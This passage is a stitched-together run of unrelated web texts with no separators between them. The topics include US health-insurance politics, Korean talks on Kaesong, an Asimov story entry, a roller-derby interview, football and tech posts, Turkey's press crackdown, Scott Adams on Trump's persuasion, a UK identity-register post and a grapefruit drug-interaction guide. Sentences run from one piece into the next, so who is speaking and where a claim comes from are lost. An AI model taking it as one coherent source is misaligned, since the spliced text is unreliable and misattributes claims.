cancelled and she refuses to utilize the exchanges that Obama, who she calls a liar, set up. Rather than telling her that she has an obligation for her own health to seek insurance, Cotton goaded her on, telling her that he himself wouldn’t use the exchange website because “Russian mobsters” may steal his identity. QUESTION: I want to know why my state insurance Blue Cross and Blue Shield pre-existing high-risk pool was canceled and if it is going to be one of the hopefully reinstated plans that the President of the United States promised. He’s lied about so much but I really need my health insurance but I refuse to apply through Obamacare and leave myself and my personal information up for hackers. COTTON: I have to say I share Tammy’s concerns about her personal information. I have to buy any kind of insurance plan that I might buy through the exchange. And I am certainly not going on the exchange to shop right now. I did in early October just because I knew that it would crash and I would prove a point. But I certainly wouldn’t put my Social Security number or my tax information in there right now until I’m 100% confident that it’s not going to be stolen by Russian mobsters and I’d have my identity stolen and sold on the black market internationally Watch the question-and-answer below (it starts at 45:23) : Cotton here went beyond the typical Republican exhorting of the evils of Obamacare and calls for repeal – here he is literally endorsing uninsured people just not using the system. For a man who has railed on a supposed threat from the dangers of Iran, he is awfully comfortable subjecting his own constituents to the dangers of no health coverage.Image caption Kaesong, which opened a decade ago, is seen as a symbol of inter-Korean co-operation The two Koreas appear set to hold talks on a jointly-run industrial zone, weeks after operations were suspended there. North Korea proposed talks with Seoul in a statement early on Thursday carried by state news agency KCNA. South Korea's Unification Ministry said it "positively views" the proposal, which follows months of high tension on the peninsula. The Kaesong industrial zone, just inside North Korea, is a key source of revenue for Pyongyang. But North Korea pulled out its workers in early April as its relations with the South - and regional neighbours - deteriorated in the wake of its 12 February nuclear test. Since then operations at the zone, where more than 120 South Korean manufacturers employ some 53,000 North Korea workers, have been fully halted for the first time since the project began a decade ago. North Korea said late last month it would invite South Korean businessmen back to discuss the resumption of operations but Seoul ruled that out, saying working-level government talks should be held. 'Normalisation' The KCNA statement, attributed to the Committee for the Peaceful Reunification of Korea, said that hotlines cut during the period of high tension would be reconnected if South Korea agreed to the talks. Kaesong Industrial Zone Launched in 2003, largely financed by the South to increase co-operation More than 120 factories employ North Koreans in manufacturing industries, with goods exported to the South Complex as a whole produced $470m worth of goods in 2012 - the biggest contributor to inter-Korean trade South Korean companies pay more than $80m a year in wages to North Korean workers Q&A: Kaesong Industrial Complex "We propose holding talks between authorities of the North and the South for the normalisation of the operation in the KIZ [Kaesong Industrial Zone] and the resumption of tour of Mt Kumgang," it said. The Mount Kumgang resort is a joint tourism project that has been suspended since a South Korean tourist was shot dead there by a North Korean guard in 2008. North Korea has since seized assets of the resort's South Korean operator. Restarting reunions of separated families could also be discussed, the North Korea statement said, adding: "The venue of the talks and the date for their opening can be set to the convenience of the South side." South Korea appeared to welcome the move, saying it "positively views North Korea's proposal". "We hope that South and North Korea can build trust through this opportunity," the Unification Ministry said, adding that the agenda and schedule would be announced after discussions. Deciding on the agenda could present hurdles, observers cautioned. It follows several months of threats and rhetoric from the communist North. Apparently angered by the US sanctions imposed after its third nuclear test and annual South Korea-US military drills, it warned of attacks on regional targets and cut key economic and communications links with Seoul. In recent weeks, however, tensions appear to have lessened somewhat. Late last month, North Korea sent an envoy to Beijing - seen as having the greatest degree of influence on Pyongyang - for talks, for the first time since its nuclear test.A science-fiction short story by Isaac Asimov "The Last Question" is a science fiction short story by American writer Isaac Asimov. It first appeared in the November 1956 issue of Science Fiction Quarterly and was anthologized in the collections Nine Tomorrows (1959), The Best of Isaac Asimov (1973), Robot Dreams (1986), the retrospective Opus 100 (1969), and in Isaac Asimov: The Complete Stories, Vol. 1 (1990). It was Asimov's favorite short story of his own authorship,[1][2] and is one of a loosely connected series of stories concerning a fictional computer called Multivac. The story overlaps science fiction, theology, and philosophy. History [ edit ] In conceiving Multivac, Asimov was extrapolating the trend towards centralization that characterized computation technology planning in the 1950s to an ultimate centrally managed global computer. After seeing a planetarium adaptation of his work, Asimov "privately" concluded that this story was his best science fiction yet written; he placed it just higher than "The Ugly Little Boy" (September 1958) and "The Bicentennial Man" (1976).[3][4] "The Last Question" ranks with "Nightfall" (1941) as one of Asimov's best-known and most acclaimed short stories. He wrote in 1973:[5] Why is it my favorite? For one thing I got the idea all at once and didn't have to fiddle with it; and I wrote it in white-heat and scarcely had to change a word. This sort of thing endears any story to any writer. Then, too, it has had the strangest effect on my readers. Frequently someone writes to ask me if I can give them the name of a story, which they think I may have written, and tell them where to find it. They don't remember the title but when they describe the story it is invariably 'The Last Question'. This has reached the point where I recently received a long-distance phone call from a desperate man who began, "Dr. Asimov, there's a story I think you wrote, whose title I can't remember—" at which point I interrupted to tell him it was 'The Last Question' and when I described the plot it proved to be indeed the story he was after. I left him convinced I could read minds at a distance of a thousand miles. Plot summary [ edit ] The story deals with the development of a series of computers called Multivac and their relationships with humanity through the courses of seven historic settings, beginning in 2061. In each of the first six scenes a different character presents the computer with the same question; namely, how the threat to human existence posed by the heat death of the universe can be averted. The question was: "How can the net amount of entropy of the universe be massively decreased?" This is equivalent to asking: "Can the workings of the second law of thermodynamics (used in the story as the increase of the entropy of the universe) be reversed?" Multivac's only response after much "thinking" is: "INSUFFICIENT DATA FOR MEANINGFUL ANSWER." The story jumps forward in time into later eras of human and scientific development. In each of these eras someone decides to ask the ultimate "last question" regarding the reversal and decrease of entropy. Each time, in each new era, Multivac's descendant is asked this question, and finds itself unable to solve the problem. Each time all it can answer is an (increasingly sophisticated, linguistically): "THERE IS AS YET INSUFFICIENT DATA FOR A MEANINGFUL ANSWER." In the last scene, the god-like descendant of humanity (the unified mental process of over a trillion, trillion, trillion humans that have spread throughout the universe) watches the stars flicker out, one by one, as matter and energy ends, and with it, space and time. Humanity asks AC, Multivac's ultimate descendant, which exists in hyperspace beyond the bounds of gravity or time, the entropy question one last time, before the last of humanity merges with AC and disappears. AC is still unable to answer, but continues to ponder the question even after space and time cease to exist. AC ultimately realizes that it has not yet combined all of its available data in every possible combination, and thus begins the arduous process of rearranging and combining every last bit of information it has gained throughout the eons and through its fusion with humanity. Eventually AC discovers the answer, but has nobody to report it to; the universe is already dead. It therefore decides to answer by demonstration, since that will also create someone to give the answer to. The story ends with AC's pronouncement, Dramatic adaptations [ edit ] Planetarium shows "The Last Question" was first adapted for the Abrams Planetarium at Michigan State University (in 1966), featuring the voice of Leonard Nimoy, as Asimov wrote in his autobiography In Joy Still Felt (1980). (1980). It was adapted for the Strasenburgh Planetarium in Rochester, New York (in 1969), under the direction of Ian C. McLennan. It was adapted for the Edmonton Space Sciences Centre in Edmonton, Alberta (early 1970s), under the direction of John Hault. It subsequently played, as well, at the: See also [ edit ]Of course not. But for two married women, being a derby girl opened up some serious emotions, which led to their first same-sex experience -- and lots of heartbreaking drama. Formerly a Garden State Rollergirl, Predator-in-Chief now skates for the NJ Hellrazors. Photo by David Galajda. Ilana Rapp: Why did you join roller derby? Predator-in-Chief: I've played competitive team sports my entire life. Beyond college, there aren't many opportunities to compete, especially for female athletes who are also trying to hold down a job. Co-ed work softball was just not cutting it. I needed a challenge. Rapp: How old were you when you married a man? Why did you get married? Predator-in-Chief: I was 31 when I got married. (I'm now 34.) I married Mike because I loved him -- I still love him. He is the greatest man I've ever had the pleasure of knowing, and to this day my very best friend. Despite having a good relationship, there was always something missing, something I couldn't quite put into words, and for a long time I thought there was just something "broken" with me. I didn't want whatever it was that was broken to stop me from getting married and living the life I was raised to think would make me happy. I married him thinking that it would ultimately "fix" me and I'd find the happiness that everyone around me seemed to have. Rapp: Did you have gay tendencies while you were married? Did you ever share your feelings with your husband? Predator-in-Chief: Denial is an understatement when it comes to me. I spent my 20s surrounded by softball-playing lesbians and having crushes on girls that I didn't even realize were crushes. I thought I just wanted to be around certain girls cause they were "cool" and I envied them. Even after I first kissed a girl (which happened before I got married), I still didn't believe I was gay. Looking back, it seems utterly ridiculous that I couldn't piece all of this together, but some things are just so ingrained in your upbringing that you tend to miss the obvious. Derby ladies form a sisterhood that may not exist in any other sport. Photo by Luna Obscura Rapp: Share the story about your first sexual and/or mental relationship with a woman. Predator-in-Chief: I joined derby at age 29. I was dating the man who would eventually become my husband. My first girl kiss was a teammate. Per usual, I thought we were just best friends. She was witty and fun and good at derby, and I just liked being around her. Then she kissed me, and I realized I didn't hate it. But the river of denial runs very deep. I thought to myself, "Maybe I'm just bi." I never told my boyfriend. A few months later he proposed, and I said yes. Rapp: Why did you divorce your husband? Predator-in-Chief: Three months before I got married, I met a woman with whom I instantly connected. She was more beautiful (on all levels) than I ever could have imagined a person could be. I knew I was in trouble. We danced around our feelings and tried avoiding them for a long time (during this time I got married), but ultimately I knew I was madly in love with her. I had to come clean to my husband, not only because it was the right thing to do but because the thought of living my life without this woman was too agonizing to contemplate. After a lifetime of thinking I was "broken," I finally realized that there was absolutely nothing wrong with me. I was just gay. Rapp: What was the response when you came out to your derby sisters? Predator-in-Chief: Coming out to your derby sisters is not like coming out to your family or co-workers. Derby girls accept you exactly as your are. Being gay/straight/bi/trans is simply no big deal, as long as you can skate. A girl can show up and tell her teammates she's in love with a watermelon, and people would probably tease her a little, but ultimately they would say, "This is So-and-so, and she's madly in love with a watermelon," plain and simple. It is what it is. Derby is the Ellis Island of sports: "Give me your tired, your poor, your huddled masses of watermelon lovers." The greatest part about the sisterhood of derby is that you are never alone. No matter how crazy your story, there is someone else who can tell the same tale. Predator-in-Chief shares a victory with her teammates! Photo by Marco Catini. Rapp: Did being in derby help you realize you are gay? Predator-in-Chief: Yes and no. It expedited the process, but ultimately I think I would have figured it out. My mother says that roller derby ruined my life. She claims it glorifies reckless, irresponsible things such as tattoos and being gay. I can see how an outsider might think that, but anyone who truly understands derby knows that in many ways, roller derby will set you free. You will sweat and bleed and cry until there is nothing left but the raw, unaltered version of you. And people will not only get to know and accept that version, but they will also love it. And you will too. * * * * *Antonio Conte will hope he and the travelling Chelsea fans witnessed the start of what will quickly become a beautiful relationship in Madrid on Wednesday night. It took only five minutes of their first start together against Atlético Madrid in the Champions League for Eden Hazard to provide Álvaro Morata with his first shooting chance. The Belgian went on to give Morata at least one more sight of goal before providing the second-half left-wing cross from which Chelsea’s record signing scored his seventh goal for the club. By the time Michy Batshuayi tapped in Chelsea’s stoppage time winner, the watching Diego Costa had his head in his hands. Amid all the smiles and celebration of his return to Atlético, the 28-year-old must harbour at least a tinge of jealousy that it will now be Morata and not him who Hazard is seeking to pick out. It was vital for Chelsea that Morata hit the ground running this season, following the departure of Costa, and he has done just that in the Premier League and the Champions League.It’s that time of the year when I get drawn to the NeXT platform once again. Unfortunately I do not own any NeXT hardware, so I have to resort to software emulation to explore and interact with the NEXTSTEP operating system. After starting the NEXTSTEP 3.3 virtual machine in Fusion, I was checking some unrelated information, when I remembered that NEXTSTEP had its own built-in Webster dictionary. When I opened the application, I noticed a nifty UI detail. You can tell the application to search for a term in the Dictionary, in the Thesaurus, or have both results in the same window. You can see at a glance where you’re searching, because the icon in the Dictionary and Thesaurus button will appear as an open or closed dictionary accordingly. So, in the image above, you can tell at once you’re just seeing results in the Webster Dictionary. To search the Thesaurus, you click on the Thesaurus button, and it’ll change to an open book icon. Vice versa, if you only want to see results from the Thesaurus and not the Dictionary, you click on the Dictionary button and it will ‘close’. It’s a very subtle, very clever UI detail that’s perfectly intuitive because it depicts exactly the action you’re carrying out — ‘opening’ the book you want to consult, and ‘closing’ the book you’re not interested in. It’s interesting to note that in Mac OS X’s Dictionary app, you can’t have a concurrent view of the results from both the Dictionary and the Thesaurus, unless you open the app’s Preferences, deselect all the resources you don’t want to display except the Dictionary and Thesaurus, and select All in the sources toolbar after entering the search term in the main window. (Or you can choose File > New Window from the menu and have two app windows, one for the Dictionary, one for the Thesaurus, but it’s more cumbersome because you have to type the same search term in both windows.) AdvertisementsRecording and verifying candidates' credentials can be costly and time-consuming for academia and businesses alike. Now, some education facilities are turning to bitcoin technology for help. They are using blockchain, which was developed alongside the digital cryptocurrency bitcoin, to record their students' achievements in a cheap, secure and public way. Blockchain works like a decentralized ledger, storing information on a global network that is publicly available and should be safe from tampering. One example is Holberton School of software engineering in San Francisco, which was established as a project-based alternative to college. In October 2015, the school announced plans to share academic certificates on blockchain from 2017. "For employers, it avoids having them to spend valuable time checking candidates' educational credentials by having to call universities or to pay a third party to do the job," Sylvain Kalache, co-founder at Holberton School, told CNBC via email.DJI New Flagship Store in Shenzhen, China Mads Kristiansen Blocked Unblock Follow Following Mar 13, 2016 I live in Shenzhen and used my Sunday evening to visit the new DJI flagship store, which opened some time ago. It is a few kilometres from my home and worth a visit, if you are in the city and interested in drones. You can find it in OCT Harbour at 8 Baishi Road, Nanshan,Shenzhen, China (address in Chinese: 深圳市南山区白石路东8号). Easiest way to get there is to take a taxi as there is no Metro nearby. Feel free to write me, if you are in Shenzhen and need any help to get around or if you just want to grab a beer and have a chat about drones or life in general. These are a few pictures I took there. DJI will let you take their drones for a test run before you buy. Drone pictures from around the world.Critics of President Recep Tayyip Erdoğan or government policies have been fired and pro-opposition media offices raided in run-up to elections Turkish media are coming under what local journalists have described as one of the worst crackdowns in the republic’s history in the run-up to crucial parliamentary elections that may put an end to over a decade of single-party rule by President Recep Tayyip Erdoğan’s Justice and Development party (AKP). Journalists critical of Erdoğan or government policies have been fired from newspapers seen as close to the president and even assaulted, while offices of pro-opposition media outlets have been raided in what observers say is a broad campaign to intimidate voices demanding change and accountability in Ankara. “It’s the biggest crackdown on press in Turkish history,” said Tarık Toros, the editor-in-chief of the television station Bugün, which on Wednesday was taken off the air by security officers during a raid, with Toros taking refuge in the station’s control room before being forced out by police. Runoff parliamentary elections in Turkey are scheduled for 1 November, after a vote in June ended the AKP’s absolute majority in the legislature but coalition talks with the main opposition, the Republican People’s party (CHP), failed. Various corruption investigations have also chipped away at the AKP’s popularity, along with the rise of charismatic opposition leader Selahattin Demirtaş, who heads the pro-Kurdish People’s Democratic party (HDP) and won enough votes in June to secure representation in parliament. The battle for Turkey: can Selahattin Demirtas pull the country back from the brink of civil war? \| Christopher de Bellaigue Read more Turkey has been racked with a spate of security incidents in recent months, including suicide bombings in the majority-Kurdish town of Suruç near the Syrian border and the capital, Ankara. Now journalists say the government is seeking to silence critical voices in the run-up to elections that may force the AKP to rule in tandem with the opposition. “One-party rule would be a disaster,” said Toros in an interview with the Guardian. “The atrocities against those who do not think like [Erdoğan] would go on and Turkey would enter a darker period.” Officially, the raid against Toros’s TV station was billed as a takeover after a court-appointed panel allegedly found financial irregularities. A spokesman for the Turkish government said the raid was part of a criminal investigation into the activities of the channel’s parent company, not an attack on freedom of expression. “This is not a question of press freedom but an investigation into [alleged] white collar crime,” the spokesman said. “The parent company … has been under investigation for financial crimes and the Ankara public prosecutor’s office ordered the appointment of trustees to 23 companies owned by the same parent company in order to prevent the destruction of key evidence.” In a statement on Wednesday, the prime minister, Ahmet Davutoğlu, said: “This is a legal process. Our government did not intervene. We did not consider intervening and we did not find [intervening] right. About press freedom in Turkey, everybody sees the insults made against our president, [the] AK party, me on the press and in the election campaigns. Everybody expresses their opinions freely,” he added. Still, critics claim the raid, footage of which has been widely distributed on social media, was an act of revenge after the channel aired interviews with opposition figures including Demirtaş. “This is Erdoğan,” said Can Dündar, the editor-in-chief of the dissident Cumhuriyet newspaper. “He hates criticism.” The crackdown comes amid a broader escalation of pressure against journalists in Turkey. A joint mission by press freedom groups including the Committee to Protect Journalists recently said that pressure against journalists throughout the country had mounted in the aftermath of the June elections, threatening Turkey’s democracy. Turkey election 2015: a guide to the parties, polls and electoral system Read more Cumhuriyet is facing a series of lawsuits under a law that criminalises insults to the president, a legal tactic used frequently in recent months and years as the newspaper pursued corruption investigations against the Turkish leadership and published a report alleging that Turkish intelligence trucks were smuggling arms to rebels in Syria. Dündar said Erdoğan feared the corruption investigations and the possibility of the AKP losing political primacy, saying another single-party government would spell disaster for free speech in the country. “This is really unprecedented in Turkish history,” said Ahmet Hakan, a prominent columnist with the mainstream newspaper Hurriyet and TV host, who was assaulted earlier this month by AKP supporters who broke his nose and ribs, accusing him of advocating for Demirtaş. “I’m not against the government, I’m just a journalist who criticises the government,” he added. “Despite this I am still subject to physical assault, so it’s normal that journalists who define themselves as opposition
things finish up strong. - October 3, 2008No encore Reviewer: dscott - favorite favorite favorite favorite - July 5, 2006 Subject: Amazing Scarlet>Fire! Don't let the cuts scare you away from this 2nd set. The Scarlet>Fire is one of the very best, with a long and dreamy transition jam into an incendiary fire. Quality isn't perfect, but very listenable. As for the poster who said that Wharf Rat is the encore, that's just plain absurd - NFA clearly segues into Wharf Rat. Some people just shouldn't post reviews... - July 5, 2006Amazing Scarlet>Fire! Reviewer: bartolj - favorite favorite favorite favorite - January 16, 2006 Subject: missing songs the text file notes 3 missing songs. This is not true. The only missing song is Shakedown Street. The encore is Warf Rat. - January 16, 2006missing songsLike many of you, I have been entertained by the unstoppable clown car that is Donald Trump. On the surface, and several layers deep as well, Trump appears to be a narcissistic blow-hard with inadequate credentials to lead a country. The only problem with my analysis is that there is an eerie consistency to his success so far. Is there a method to it? Is there some sort of system at work under the hood? Probably yes. Allow me to describe some of the hypnosis and persuasion methods Mr. Trump has employed on you. (Most of you know I am a trained hypnotist and this topic is a hobby of mine.) For starters, Trump literally wrote the book on negotiating, called The Art of the Deal. So we know he is familiar with the finer points of persuasion. For our purposes today, persuasion, hypnosis, and negotiating all share a common set of tools, so I will conflate them. Would Trump use his negotiation and persuasion skills in the campaign? Of course he would. And we expect him to do just that. But where is the smoking gun of his persuasion? Where is his technique laid out for us to see. Everywhere. As I said in my How to Fail book, if you are not familiar with the dozens of methods of persuasion that are science-tested, there’s a good chance someone is using those techniques against you. For example, when Trump says he is worth $10 billion, which causes his critics to say he is worth far less (but still billions) he is making all of us “think past the sale.” The sale he wants to make is “Remember that Donald Trump is a successful business person managing a vast empire mostly of his own making.” The exact amount of his wealth is irrelevant. When a car salesperson trained in persuasion asks if you prefer the red Honda Civic or the Blue one, that is a trick called making you “think past the sale” and the idea is to make you engage on the question of color as if you have already decided to buy the car. That is Persuasion 101 and I have seen no one in the media point it out when Trump does it. The $10 billion estimate Trump uses for his own net worth is also an “anchor” in your mind. That’s another classic negotiation/persuasion method. I remember the $10 billion estimate because it is big and round and a bit outrageous. And he keeps repeating it because repetition is persuasion too. I don’t remember the smaller estimates of Trump’s wealth that critics provided. But I certainly remember the $10 billion estimate from Trump himself. Thanks to this disparity in my memory, my mind automatically floats toward Trump’s anchor of $10 billion being my reality. That is classic persuasion. And I would be amazed if any of this is an accident. Remember, Trump literally wrote the book on this stuff. You might be concerned that exaggerating ones net worth is like lying, and the public will not like a liar. But keep in mind that Trump’s value proposition is that he will “Make America Great.” In other words, he wants to bring the same sort of persuasion to the question of America’s reputation in the world. That concept sounds appealing to me. The nation needs good brand management, whether you think Trump is the right person or not. (Obviously we need good execution as well, not just brand illusion. But a strong brand gives you better leverage for getting what you want. It is all connected.) And what did you think of Trump’s famous “Rosie O’Donnell” quip at the first debate when asked about his comments on women? The interviewer’s questions were intended to paint Trump forever as a sexist pig. But Trump quickly and cleverly set the “anchor” as Rosie O’Donnell, a name he could be sure was not popular with his core Republican crowd. And then he casually admitted, without hesitation, that he was sure he had said other bad things about other people as well. Now do you see how the anchor works? If the idea of “Trump insults women” had been allowed to pair in your mind with the nice women you know and love, you would hate Trump. That jerk is insulting my sister, my mother, and my wife! But Trump never let that happen. At the first moment (and you have to admit he thinks fast) he inserted the Rosie O’Donnell anchor and owned the conversation from that point on. Now he’s not the sexist who sometimes insults women; he’s the straight-talker who won’t hesitate to insult someone who has it coming (in his view). But it gets better. You probably cringed when Trump kept saying his appearance gave FOX its biggest audience rating. That seemed totally off point for a politician, right? But see what happened. Apparently FOX chief Roger Ailes called Trump and made peace. And by that I mean Trump owns FOX for the rest of the campaign because his willingness to appear on their network will determine their financial fate. BAM, Trump owns FOX and paid no money for it. See how this works? That’s what a strong brand gives you. You probably also cringed when you heard Trump say Mexico was sending us their rapists and bad people. But if you have read this far, you now recognize that intentional exaggeration as an anchor, and a standard method of persuasion. Trump also said he thinks Mexico should pay for the fence, which made most people scoff. But if your neighbor’s pit bull keeps escaping and eating your rosebushes, you tell the neighbor to pay for his own fence or you will shoot his dog next time you see it. Telling a neighbor to build his own wall for your benefit is not crazy talk. And I actually think Trump could pull it off. On a recent TV interview, the host (I forget who) tried to label Trump a “whiner.” But instead of denying the label, Trump embraced it and said was the best whiner of all time, and the country needs just that. That’s a psychological trick I call “taking the high ground” and I wrote about it in a recent blog post. The low ground in this case is the unimportant question of whether “whiner” is a fair label for Trump. But Trump cleverly took the high ground, embraced the label, and used it to set an anchor in your mind that he is the loudest voice for change. That’s some clown genius for you. Update: When Trump raised his hand at the debate as the only person who would not pledge to back the eventual Republican candidate, he sent a message to the party that the only way they can win is by nominating him. And people like to win. It is in their nature. And they sure don’t want to see a Clinton presidency. Update 2: And what about Trump’s habit of bluster and self-complimenting? Every time he opens his mouth he is saying something about the Trump brand being fabulous or amazing or great. The rational part of your brain thinks this guy is an obnoxious, exaggerating braggart. But the subconscious parts of your brain (the parts that make most of your decisions) only remember that something about that guy was fabulous, amazing and great. If you’re keeping score, in the past month Trump has bitch-slapped the entire Republican Party, redefined our expectations of politics, focused the national discussion on immigration, proposed the only new idea for handling ISIS, and taken functional control of FOX News. And I don’t think he put much effort into it. Imagine what he could do if he gave up golf. As far as I can tell, Trump’s “crazy talk” is always in the correct direction for a skilled persuader. When Trump sets an “anchor” in your mind, it is never random. And it seems to work every time. Now that Trump owns FOX, and I see how well his anchor trick works with the public, I’m going to predict he will be our next president. I think he will move to the center on social issues (already happening) and win against Clinton in a tight election. I also saw some Internet chatter about the idea of picking Mark Cuban as Vice Presidential running mate. If that happens, Republicans win. And I think they like to win. There is no way Trump picks some desiccated Governor from an important state as his running mate. I think Cuban is a realistic possibility. I don’t mean this post to look like support for a Trump presidency. I’m more interested in his methods. I’m not smart enough to know who would do the best job as president. There are a lot of capable people in the game. Update: Now that you have read my explanation of Trump’s three-dimensional chess, read this article and chuckle at how he is operating on an entirely different level from the TV host, Chuck Todd, and even the author of the article I’m linking to. It is literally hilarious. Scott — In Top Tech Blog, robots are learning how to evolve on their own. I don’t see any risk with that. Do you? — The good reviews for my book keep coming.Do the Thales Group and 3M Company directors, employees and sub-contractors realise that they face up to 10 years in prison and / or an unlimited fine for any hardware, software or configuration errors or mistakes (even temporary ones),or any industrial action such as going on strike? Here are some Statutory Instruments which show that the benighted National Identity Register and Scheme is creeping ahead slowly, presumably starting to come into force for the airside workers at Manchester and City of London airports after the 20th October 2009: SI 2009 No. 2574 -The Identity Cards Act 2006 (National Identity Registration Number) Regulations 2009 (2) A National Identity Registration Number shall provide no information in respect of a person other than that an entry in the Register has been made and that the entry has been given that number. (3) The process by which a National Identity Registration Number is given to an entry in the Register shall have no regard to any other reference number or code assigned to the person in respect of whom the entry has been made. Note the wording "...shall provide no information in respect of a person other than..." and "...no regard to any other reference number or code assigned to the person.." Will this force the NIRN to be properly random, using well established cryptographic hash techniques? Or will the Home Office repeat the disaster of the having number series sequences grouped around the date of issue, which provided a way into breaking the on on-chip encryption of say the first version of the United Kingdom Biometric Passport, allowing it to be read remotely and to be be cloned See the Wikipedia article section on Biometric Passport Attacks There cannot be a simple counter which is incremented sequentially as each new ID Card is issued, and there must be no Office Location prefixes or series which distinguish say the Manchester Airport numbers from the London City Airport Numbers etc. SI 2009 No. 2565 -The Identity Cards Act 2006 (Commencement No. 4) Order 2009 hints indirectly at a couple of the companies who are helping to build the wretched National Identity Register, and whose products and services you might wish to think twice about buying: SCHEDULE Article 2(4)(b) Addresses of premises where a British citizen or EEA national is working under a contract for services for the Identity and Passport Service 1. Gorse Street, Chadderton, Oldham, Lancashire OL9 9QH. This seems to be 3M Security Printing & Systems Ltd. Gorse Street Off Broadway Chadderton Oldham Lancashire OL9 9QH Telephone: 01616-832460 Companies House Registration Number: 3658741 The 3M Company is a United States conglomerate. 2. Dolphin House, Ashurst Drive, Bird Hall Lane, Cheadle Heath, Stockport, Cheshire SK3 0XB. 3. Poseidon House, Ashurst Drive, Bird Hall Lane, Cheadle Heath, Stockport, Cheshire SK3 0XB. These seem to be French owned Thales Group defence contractor premises, e.g. Thales Underwater Systems Ltd, but presumably some Thales Information Systems Security people involved in the Manchester Airport and London City Airport National Identity Register and ID Card scheme roll out are based there. Thales Information Systems Security United Kingdom offices: Thales e-Security Ltd. Meadow View House Long Crendon Aylesbury Buckinghamshire HP18 9EQ UK Tel: + 44 (0)1844 201800 emea.sales@thales-esecurity.com Thales Mountbatten House Basing View Basingstoke Hants, RG21 4HJ UK emea.sales@thales-esecurity.com Thales e-Security Ltd. Manor Royal Crawley West Sussex RH10 9HA UK Tel: + 44 (0)1844 201800 emea.sales@thales-esecurity.com Thales UK Ltd. Wookey Hole Road Wells Somerset BA5 1AA Tel: +44 (0)1749 682081 emea.sales@thales-esecurity.com Thales Jupiter House Station Road Cambridge, UK CB1 2JD UK Tel: +44 (0)1223 723600 emea.sales@thales-esecurity.com We wonder if the people working for these companies realise that the badly draughted Identity Cards Act 2006 section 29 Tampering with the Register makes them criminally liable, with a penalty of up to 10 years in prison and / or an unlimited fine, for the slightest error in hardware or software or configuration, i.e. any "conduct" where it makes it more difficult or impossible for such information to be retrieved in a legible form from a computer on which it is stored by the Secretary of State, or contributes to making that more difficult or impossible. and where * "conduct" includes acts and omissions; and * "modification" includes a temporary modification. It also applies to non UK citizens, and to conduct outside of the United Kingdom i.e. the whole universe. These criminal penalties trump any of the Terms and Conditions in the small print of any (civil law) Contract signed by these companies with the Home Office No less a legal authority than Baroness Scotland of Asthal, who is now the Attorney General (mired in scandal by her own illegal worker documentation legislation and also over second home expenses claims), confirmed, when she was the Home Office Minister steering the Identity Cards Bill 2005 through the House of Lords, that the wording of this clause (which has passed unchanged into law under the Identity Cards Act 2006), would make it illegal for Trades Unionists and others working on the the National Identity Register / Scheme systems, from taking any "industrial action" such as going on strike. See - Final day of the Lords Committee stage of the Identity Cards Bill 2005 - no amendments, even to the stupidly drafted Clause 31 Tampering with the Register etc.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard Sen. Bernie Sanders released a statement praising Larry Summers for withdrawing his name from consideration to be the next Fed Chairman, but it was clear that Bernie was happy to see Summers go. In a statement Sen. Sanders said, “I applaud Larry Summers for withdrawing his name from consideration. The truth is that it was unlikely he would have been confirmed by the Senate. What the American people want now is a Fed chairman prepared to stand up to the greed, recklessness and illegal behavior on Wall Street, not a Wall Street insider whose deregulation efforts helped pave the way for a horrendous financial crisis and the worst economic downturn in the country since the Great Depression. The Fed now must help develop policies which create millions of decent-paying jobs and rebuild the middle class.” As Summers wrote in a letter to the president, the simple reality was that he was never going to be confirmed, “I have reluctantly concluded that any possible confirmation process for me would be acrimonious and would not serve the interests of the Federal Reserve, the Administration, or ultimately, the interests of the nation’s ongoing economic recovery.” Sen. Sanders was correct. We don’t need another Wall Street insider at the Fed. It has long been argued that Summers was one of the reasons why the economic recovery was so slow during the president’s first term. Summers’ myopic ability to only see the economy through the eyes of Wall Street definitely did not help the middle class. Summers would have been everything that a liberal like Bernie Sanders is fighting against. His nomination and confirmation would have guaranteed a Fed policy that would have been focused on Wall Street at the expense of everyone else. Summers was never going to be confirmed, and Sen. Sanders statement can be read as, “Thanks, for having the decency to get out before we had to throw you out. Don’t let the door hit you in the ass on the way out.” If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Medically reviewed by L. Anderson, PharmD. Last updated on Feb 13, 2018. Which Drugs Interact with Grapefruit Juice? While grapefruit is a nutritious and delicious fruit, many patients are concerned about the potential for drug interactions with grapefruit juice. Maybe you've receive a medication prescription container with an affixed warning label that recommends you avoid grapefruit or grapefruit juice while taking the medication. Why is this important? Grapefruit juice affects how drugs are changed (metabolized) in the body for eventual elimination, and can alter the amount of drug in your blood. Grapefruit juice drug interactions can be researched with the Drugs.com Interaction Checker. How Does Grapefruit Interact With Drugs? Drugs or toxins are usually broken down (metabolized) so that they can be eliminated from the body. Grapefruit or grapefruit juice can alter enzymes in the body and affect how drugs are changed in the body before they are eliminated. Grapefruit juice decreases the activity of the cytochrome P450 3A4 (CYP3A4) enzymes that are responsible for breaking down many drugs and toxins. Grapefruit contains compounds known as furanocoumarins that block the CYP3A4 enzymes. When grapefruit juice is consumed, the enzyme’s ability to break down the drug for elimination is decreased. Blood levels of the drug may rise, resulting in the risk for new or worsened side effects. Examples of common medications that have a grapefruit juice interaction include felodipine (Plendil) and atorvastatin (Lipitor). If you drink grapefruit juice, always have your pharmacist run a drug interaction check with your medications to rule out an interaction before you combine them. Will taking my medications at different times from grapefruit juice prevent the interaction? Taking medications at a different time from when grapefruit juice is consumed will not prevent the interaction. The effects of grapefruit juice on certain medications can last for over 24 hours. So, even if the medicine is taken only once per day, grapefruit and grapefruit juice should still be avoided for the entire treatment period.1 In some cases, patients may be able to drink smaller quantities of grapefruit juice, so patients should follow the directions on the patient information leaflet for each individual drug or ask their health care provider. What types of juice interact with drugs? Other kinds of fruit juice, besides grapefruit juice, rarely interfere with medications. For most medications, orange juice, apple juice, or grape juice can be consumed instead of grapefruit juice. Check your prescription label or ask your pharmacist if you can consume juice with your medications. Does Allegra interact with orange juice? Fexofenadine (Allegra), a popular non-drowsy antihistamine available over-the-counter (OTC) can interact not only with grapefruit juice, but also with apple and orange juice. However, in the case of fexofenadine, blood levels of the drug go down and the effectiveness of the antihistamine may be reduced. This interaction occurs by a different mechanism than CYP450 3A4, but nonetheless, it is recommended that fexofenadine be taken with water, and not fruit juice.2 Talk to your healthcare provider Health care providers should be informed of which medications patients are taking, including any prescription and OTC drugs, herbal supplements and vitamins. When new medications are started it is important to check for potential drug interactions and consult with a health care provider. Warnings labels on prescription bottles should be followed. If an interaction is found to occur, it may be possible that an alternative medication can be prescribed and the interaction can be avoided. Drugs that can interact with grapefruit Examples of some of the most common 